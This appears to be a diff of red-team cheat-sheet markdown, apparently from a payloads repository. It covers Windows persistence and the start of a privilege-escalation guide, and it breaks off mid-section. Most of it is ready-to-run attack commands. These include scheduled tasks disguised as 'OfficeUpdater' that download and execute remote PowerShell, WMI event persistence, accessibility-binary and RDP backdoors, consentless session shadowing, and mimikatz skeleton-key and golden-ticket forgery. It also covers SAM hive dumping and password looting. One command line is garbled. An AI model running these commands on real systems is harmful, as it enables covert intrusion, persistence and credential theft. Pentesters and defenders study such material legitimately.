schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
##(X86) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
##(X86) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
##(X64) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
##(X64) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
##(X64) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
```
### Windows Management Instrumentation Event Subscription
> An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.
* **__EventFilter**: Trigger (new process, failed logon etc.)
* **EventConsumer**: Perform Action (execute payload etc.)
* **__FilterToConsumerBinding**: Binds Filter and Consumer Classes
```ps1
# Using CMD : Execute a binary 60 seconds after Windows started
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="WMIPersist", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="WMIPersist", ExecutablePath="C:\Windows\System32\binary.exe",CommandLineTemplate="C:\Windows\System32\binary.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WMIPersist\"", Consumer="CommandLineEventConsumer.Name=\"WMIPersist\""
# Remove it
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='WMIPersist'" | Remove-WmiObject -Verbose
# Using Powershell (deploy)
$FilterArgs = @{name='WMIPersist'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 90"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
$ConsumerArgs = @{name='WMIPersist'; CommandLineTemplate="$($Env:SystemRoot)\System32\binary.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
$FilterToConsumerArgs = @{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer;}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
# Using Powershell (remove)
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'WMIPersist'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'WMIPersist'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
```
### Binary Replacement
#### Binary Replacement on Windows XP+
| Feature | Executable |
|---------------------|---------------------------------------|
| Sticky Keys | C:\Windows\System32\sethc.exe |
| Accessibility Menu | C:\Windows\System32\utilman.exe |
| On-Screen Keyboard | C:\Windows\System32\osk.exe |
| Magnifier | C:\Windows\System32\Magnify.exe |
| Narrator | C:\Windows\System32\Narrator.exe |
| Display Switcher | C:\Windows\System32\DisplaySwitch.exe |
| App Switcher | C:\Windows\System32\AtBroker.exe |
In Metasploit : `use post/windows/manage/sticky_keys`
#### Binary Replacement on Windows 10+
Exploit a DLL hijacking vulnerability in the On-Screen Keyboard **osk.exe** executable.
Create a malicious **HID.dll** in `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`.
### RDP Backdoor
#### utilman.exe
At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.
```powershell
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```
#### sethc.exe
Hit F5 a bunch of times when you are at the RDP login screen.
```powershell
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```
### Remote Desktop Services Shadowing
:warning: FreeRDP and rdesktop don't support Remote Desktop Services Shadowing feature.
Requirements:
* RDP must be running
```powershell
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4
# 4 View Session without users permission.
# Allowing remote connections to this computer
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# Disable UAC remote restriction
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
mstsc /v:{ADDRESS} /shadow:{SESSION_ID} /noconsentprompt /prompt
# /v parameter lets specify the {ADDRESS} value that is an IP address or a hostname of a remote host;
# /shadow parameter is used to specify the {SESSION_ID} value that is a shadowees session ID;
# /noconsentprompt parameter allows to bypass a shadowees permission and shadow their session without their consent;
# /prompt parameter is used to specify a users credentials to connect to a remote host.
```
### Skeleton Key
> Inject a master password into the LSASS process of a Domain Controller.
Requirements:
* Domain Administrator (SeDebugPrivilege) or `NTAUTHORITY\SYSTEM`
```powershell
# Execute the skeleton key attack
mimikatz "privilege::debug" "misc::skeleton"
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs FQDN>
# Access using the password "mimikatz"
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator
```
### Virtual Machines
> Based on the Shadow Bunny technique.
```ps1
# download virtualbox
Invoke-WebRequest "https://download.virtualbox.org/virtualbox/6.1.8/VirtualBox-6.1.8-137981-Win.exe" -OutFile $env:TEMP\VirtualBox-6.1.8-137981-Win.exe
# perform a silent install and avoid creating desktop and quick launch icons
VirtualBox-6.0.14-133895-Win.exe --silent --ignore-reboot --msiparams VBOX_INSTALLDESKTOPSHORTCUT=0,VBOX_INSTALLQUICKLAUNCHSHORTCUT=0
# in \Program Files\Oracle\VirtualBox\VBoxManage.exe
# Disabling notifications
.\VBoxManage.exe setextradata global GUI/SuppressMessages "all"
# Download the Virtual machine disk
Copy-Item \\smbserver\images\shadowbunny.vhd $env:USERPROFILE\VirtualBox\IT Recovery\shadowbunny.vhd
# Create a new VM
$vmname = "IT Recovery"
.\VBoxManage.exe createvm --name $vmname --ostype "Ubuntu" --register
# Add a network card in NAT mode
.\VBoxManage.exe modifyvm $vmname --ioapic on # required for 64bit
.\VBoxManage.exe modifyvm $vmname --memory 1024 --vram 128
.\VBoxManage.exe modifyvm $vmname --nic1 nat
.\VBoxManage.exe modifyvm $vmname --audio none
.\VBoxManage.exe modifyvm $vmname --graphicscontroller vmsvga
.\VBoxManage.exe modifyvm $vmname --description "Shadowbunny"
# Mount the VHD file
.\VBoxManage.exe storagectl $vmname -name "SATA Controller" -add sata
.\VBoxManage.exe storageattach $vmname -comment "Shadowbunny Disk" -storagectl "SATA Controller" -type hdd -medium "$env:USERPROFILE\VirtualBox VMs\IT Recovery\shadowbunny.vhd" -port 0
# Start the VM
.\VBoxManage.exe startvm $vmname type headless
# optional - adding a shared folder
# require: VirtualBox Guest Additions
.\VBoxManage.exe sharedfolder add $vmname -name shadow_c -hostpath c:\ -automount
# then mount the folder in the VM
sudo mkdir /mnt/c
sudo mount -t vboxsf shadow_c /mnt/c
```
### Windows Subsystem for Linux
```ps1
# List and install online packages
wsl --list --online
wsl --install -d kali-linux
# Use a local package
wsl --set-default-version 2
curl.exe --insecure -L -o debian.appx https://aka.ms/wsl-debian-gnulinux
Add-AppxPackage .\debian.appx
# Run the machine as root
wsl kali-linux --user root
```
## Domain
### User Certificate
```ps1
# Request a certificate for the User template
.\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User
# Convert the certificate for Rubeus
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Request a TGT using the certificate
.\Rubeus.exe asktgt /user:username /certificate:C:\Temp\cert.pfx /password:Passw0rd123!
```
### Golden Certificate
> Require elevated privileges in the Active Directory, or on the ADCS machine
* Export CA as p12 file: `certsrv.msc` > `Right Click` > `Back up CA...`
* Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER
```ps1
privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /store:my /export
```
* Alternative 2: Using SharpDPAPI, then convert the certificate: `openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx`
* [ForgeCert](https://github.com/GhostPack/ForgeCert) - Forge a certificate for any active domain user using the CA certificate
```ps1
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName harry@lab.local --NewCertPath harry.pfx --NewCertPassword Password123
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@lab.local --NewCertPath dc.pfx --NewCertPassword Password123
```
* Finally you can request a TGT using the Certificate
```ps1
Rubeus.exe asktgt /user:ron /certificate:harry.pfx /password:Password123
```
### Golden Ticket
> Forge a Golden ticket using Mimikatz
```ps1
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```
### LAPS Persistence
To prevent a machine to update its LAPS password, it is possible to set the update date in the futur.
```ps1
Set-DomainObject -Identity <target_machine> -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```
## References
* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md)
* [SharPersist Windows Persistence Toolkit in C - Brett Hawkins](http://www.youtube.com/watch?v=K7o9RSVyazo)
* [IIS Raid Backdooring IIS Using Native Modules - 19/02/2020](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/)
* [Old Tricks Are Always Useful: Exploiting Arbitrary File Writes with Accessibility Tools - Apr 27, 2020 - @phraaaaaaa](https://iwantmore.pizza/posts/arbitrary-write-accessibility-tools.html)
* [Persistence - Checklist - @netbiosX](https://github.com/netbiosX/Checklists/blob/master/Persistence.md)
* [Persistence Winlogon Helper DLL - @netbiosX](https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/)
* [Persistence - BITS Jobs - @netbiosX](https://pentestlab.blog/2019/10/30/persistence-bits-jobs/)
* [Persistence Image File Execution Options Injection - @netbiosX](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)
* [Persistence Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/)
* [Golden Certificate - NOVEMBER 15, 2021](https://pentestlab.blog/2021/11/15/golden-certificate/)
* [Beware of the Shadowbunny - Using virtual machines to persist and evade detections - Sep 23, 2020 - wunderwuzzi](https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/)
* [Persistence via WMI Event Subscription - Elastic Security Solution](https://www.elastic.co/guide/en/security/current/persistence-via-wmi-event-subscription.html)
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/persistence/windows](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/)
* [Tools](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#tools)
* [Hide Your Binary](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#hide-your-binary)
* [Disable Antivirus and Security](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#disable-antivirus-and-security)
* [Antivirus Removal](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#antivirus-removal)
* [Disable Windows Defender](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#disable-windows-defender)
* [Disable Windows Firewall](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#disable-windows-firewall)
* [Clear System and Security Logs](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#clear-system-and-security-logs)
* [Simple User](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#simple-user)
* [Registry HKCU](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#registry-hkcu)
* [Startup](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#startup)
* [Scheduled Tasks User](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#scheduled-tasks-user)
* [BITS Jobs](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#bits-jobs)
* [Serviceland](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#serviceland)
* [IIS](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#iis)
* [Windows Service](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#windows-service)
* [Elevated](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#elevated)
* [Registry HKLM](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#registry-hklm)
* [Winlogon Helper DLL](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#)
* [GlobalFlag](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#)
* [Startup Elevated](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#startup-elevated)
* [Services Elevated](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#services-elevated)
* [Scheduled Tasks Elevated](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#scheduled-tasks-elevated)
* [Binary Replacement](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#binary-replacement)
* [Binary Replacement on Windows XP+](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#binary-replacement-on-windows-xp)
* [Binary Replacement on Windows 10+](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#binary-replacement-on-windows-10)
* [RDP Backdoor](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#rdp-backdoor)
* [utilman.exe](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#utilman.exe)
* [sethc.exe](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#sethc.exe)
* [Remote Desktop Services Shadowing](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#remote-desktop-services-shadowing)
* [Skeleton Key](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#skeleton-key)
* [Virtual Machines](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#virtual-machines)
* [Windows Subsystem for Linux](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#windows-subsystem-for-linux)
* [Domain](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#domain)
* [Golden Certificate](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#golden-certificate)
* [Golden Ticket](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#golden-ticket)
* [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/#references)

View File

@ -1,1536 +1,68 @@
# Windows - Privilege Escalation
## Summary
* [Tools](#tools)
* [Windows Version and Configuration](#windows-version-and-configuration)
* [User Enumeration](#user-enumeration)
* [Network Enumeration](#network-enumeration)
* [Antivirus Enumeration](#antivirus-enumeration)
* [Default Writeable Folders](#default-writeable-folders)
* [EoP - Looting for passwords](#eop---looting-for-passwords)
* [SAM and SYSTEM files](#sam-and-system-files)
* [HiveNightmare](#hivenightmare)
* [LAPS Settings](#laps-settings)
* [Search for file contents](#search-for-file-contents)
* [Search for a file with a certain filename](#search-for-a-file-with-a-certain-filename)
* [Search the registry for key names and passwords](#search-the-registry-for-key-names-and-passwords)
* [Passwords in unattend.xml](#passwords-in-unattendxml)
* [Wifi passwords](#wifi-passwords)
* [Sticky Notes passwords](#sticky-notes-passwords)
* [Passwords stored in services](#passwords-stored-in-services)
* [Passwords stored in Key Manager](#passwords-stored-in-key-manager)
* [Powershell History](#powershell-history)
* [Powershell Transcript](#powershell-transcript)
* [Password in Alternate Data Stream](#password-in-alternate-data-stream)
* [EoP - Processes Enumeration and Tasks](#eop---processes-enumeration-and-tasks)
* [EoP - Incorrect permissions in services](#eop---incorrect-permissions-in-services)
* [EoP - Windows Subsystem for Linux (WSL)](#eop---windows-subsystem-for-linux-wsl)
* [EoP - Unquoted Service Paths](#eop---unquoted-service-paths)
* [EoP - $PATH Interception](#eop---path-interception)
* [EoP - Named Pipes](#eop---named-pipes)
* [EoP - Kernel Exploitation](#eop---kernel-exploitation)
* [EoP - Microsoft Windows Installer](#eop---microsoft-windows-installer)
* [AlwaysInstallElevated](#alwaysinstallelevated)
* [CustomActions](#customactions)
* [EoP - Insecure GUI apps](#eop---insecure-gui-apps)
* [EoP - Evaluating Vulnerable Drivers](#eop---evaluating-vulnerable-drivers)
* [EoP - Printers](#eop---printers)
* [Universal Printer](#universal-printer)
* [Bring Your Own Vulnerability](#bring-your-own-vulnerability)
* [EoP - Runas](#eop---runas)
* [EoP - Abusing Shadow Copies](#eop---abusing-shadow-copies)
* [EoP - From local administrator to NT SYSTEM](#eop---from-local-administrator-to-nt-system)
* [EoP - Living Off The Land Binaries and Scripts](#eop---living-off-the-land-binaries-and-scripts)
* [EoP - Impersonation Privileges](#eop---impersonation-privileges)
* [Restore A Service Account's Privileges](#restore-a-service-accounts-privileges)
* [Meterpreter getsystem and alternatives](#meterpreter-getsystem-and-alternatives)
* [RottenPotato (Token Impersonation)](#rottenpotato-token-impersonation)
* [Juicy Potato (Abusing the golden privileges)](#juicy-potato-abusing-the-golden-privileges)
* [Rogue Potato (Fake OXID Resolver)](#rogue-potato-fake-oxid-resolver))
* [EFSPotato (MS-EFSR EfsRpcOpenFileRaw)](#efspotato-ms-efsr-efsrpcopenfileraw))
* [PrintSpoofer (Printer Bug)](#PrintSpoofer-Printer-Bug)))
* [EoP - Privileged File Write](#eop---privileged-file-write)
* [DiagHub](#diaghub)
* [UsoDLLLoader](#usodllloader)
* [WerTrigger](#wertrigger)
* [WerMgr](#wermgr)
* [EoP - Privileged File Delete](#eop---privileged-file-delete)
* [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposure)
* [MS08-067 (NetAPI)](#ms08-067-netapi)
* [MS10-015 (KiTrap0D)](#ms10-015-kitrap0d---microsoft-windows-nt2000--2003--2008--xp--vista--7)
* [MS11-080 (adf.sys)](#ms11-080-afd.sys---microsoft-windows-xp-2003)
* [MS15-051 (Client Copy Image)](#ms15-051---microsoft-windows-2003--2008--7--8--2012)
* [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
* [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue)
* [CVE-2019-1388](#cve-2019-1388)
* [EoP - $PATH Interception](#eop---path-interception)
* [References](#references)
## Tools
- [PowerSploit's PowerUp](https://github.com/PowerShellMafia/PowerSploit)
```powershell
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
```
- [Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock](https://github.com/rasta-mouse/Watson)
- [(Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities](https://github.com/rasta-mouse/Sherlock)
```powershell
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1
```
- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
- [Windows-Exploit-Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester)
```powershell
./windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
```
- [windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems](https://github.com/pentestmonkey/windows-privesc-check)
- [WindowsExploits - Windows exploits, mostly precompiled. Not being updated.](https://github.com/abatchy17/WindowsExploits)
- [WindowsEnum - A Powershell Privilege Escalation Enumeration Script.](https://github.com/absolomb/WindowsEnum)
- [Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.](https://github.com/GhostPack/Seatbelt)
```powershell
Seatbelt.exe -group=all -full
Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt"
Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""
```
- [Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind](https://github.com/M4ximuss/Powerless)
- [JAWS - Just Another Windows (Enum) Script](https://github.com/411Hall/JAWS)
```powershell
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
```
- [winPEAS - Windows Privilege Escalation Awesome Script](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe)
- [Windows Exploit Suggester - Next Generation (WES-NG)](https://github.com/bitsadmin/wesng)
```powershell
# First obtain systeminfo
systeminfo
systeminfo > systeminfo.txt
# Then feed it to wesng
python3 wes.py --update-wes
python3 wes.py --update
python3 wes.py systeminfo.txt
```
- [PrivescCheck - Privilege Escalation Enumeration Script for Windows](https://github.com/itm4n/PrivescCheck)
```powershell
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML"
```
## Windows Version and Configuration
```powershell
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```
Extract patchs and updates
```powershell
wmic qfe
```
Architecture
```powershell
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
```
List all env variables
```powershell
set
Get-ChildItem Env: | ft Key,Value
```
List all drives
```powershell
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
```
## User Enumeration
Get current username
```powershell
echo %USERNAME% || whoami
$env:username
```
List user privilege
```powershell
whoami /priv
whoami /groups
```
List all users
```powershell
net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
```
List logon requirements; useable for bruteforcing
```powershell$env:usernadsc
net accounts
```
Get details about a user (i.e. administrator, admin, current user)
```powershell
net user administrator
net user admin
net user %USERNAME%
```
List all local groups
```powershell
net localgroup
Get-LocalGroup | ft Name
```
Get details about a group (i.e. administrators)
```powershell
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource
```
Get Domain Controllers
```powershell
nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName
```
## Network Enumeration
List all network interfaces, IP, and DNS.
```powershell
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
```
List current routing table
```powershell
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
```
List the ARP table
```powershell
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
```
List all current connections
```powershell
netstat -ano
```
List all network shares
```powershell
net share
powershell Find-DomainShare -ComputerDomain domain.local
```
SNMP Configuration
```powershell
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
```
## Antivirus Enumeration
Enumerate antivirus on a box with `WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName`
## Default Writeable Folders
```powershell
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\spool\printers
C:\Windows\System32\spool\servers
C:\Windows\tracing
C:\Windows\Temp
C:\Users\Public
C:\Windows\Tasks
C:\Windows\System32\tasks
C:\Windows\SysWOW64\tasks
C:\Windows\System32\tasks_migrated\microsoft\windows\pls\system
C:\Windows\SysWOW64\tasks\microsoft\windows\pls\system
C:\Windows\debug\wia
C:\Windows\registration\crmlog
C:\Windows\System32\com\dmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\System32\fxstmp
C:\Windows\SysWOW64\fxstmp
```
## EoP - Looting for passwords
### SAM and SYSTEM files
The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.
```powershell
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```
Generate a hash file for John using `pwdump` or `samdump2`.
```powershell
pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt
```
Either crack it with `john -format=NT /root/sam.txt`, [hashcat](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Hash%20Cracking.md#hashcat) or use Pass-The-Hash.
### HiveNightmare
> CVE-202136934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user
Check for the vulnerability using `icacls`
```powershell
C:\Windows\System32> icacls config\SAM
config\SAM BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX) <-- this is wrong - regular users should not have read access!
```
Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.
```powershell
mimikatz> token::whoami /full
# List shadow copies available
mimikatz> misc::shadowcopies
# Extract account from SAM databases
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
# Extract secrets from SECURITY
mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
```
### LAPS Settings
Extract `HKLM\Software\Policies\Microsoft Services\AdmPwd` from Windows Registry.
* LAPS Enabled: AdmPwdEnabled
* LAPS Admin Account Name: AdminAccountName
* LAPS Password Complexity: PasswordComplexity
* LAPS Password Length: PasswordLength
* LAPS Expiration Protection Enabled: PwdExpirationProtectionEnabled
### Search for file contents
```powershell
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config 2>nul >> results.txt
findstr /spin "password" *.*
```
Also search in remote places such as SMB Shares and SharePoint:
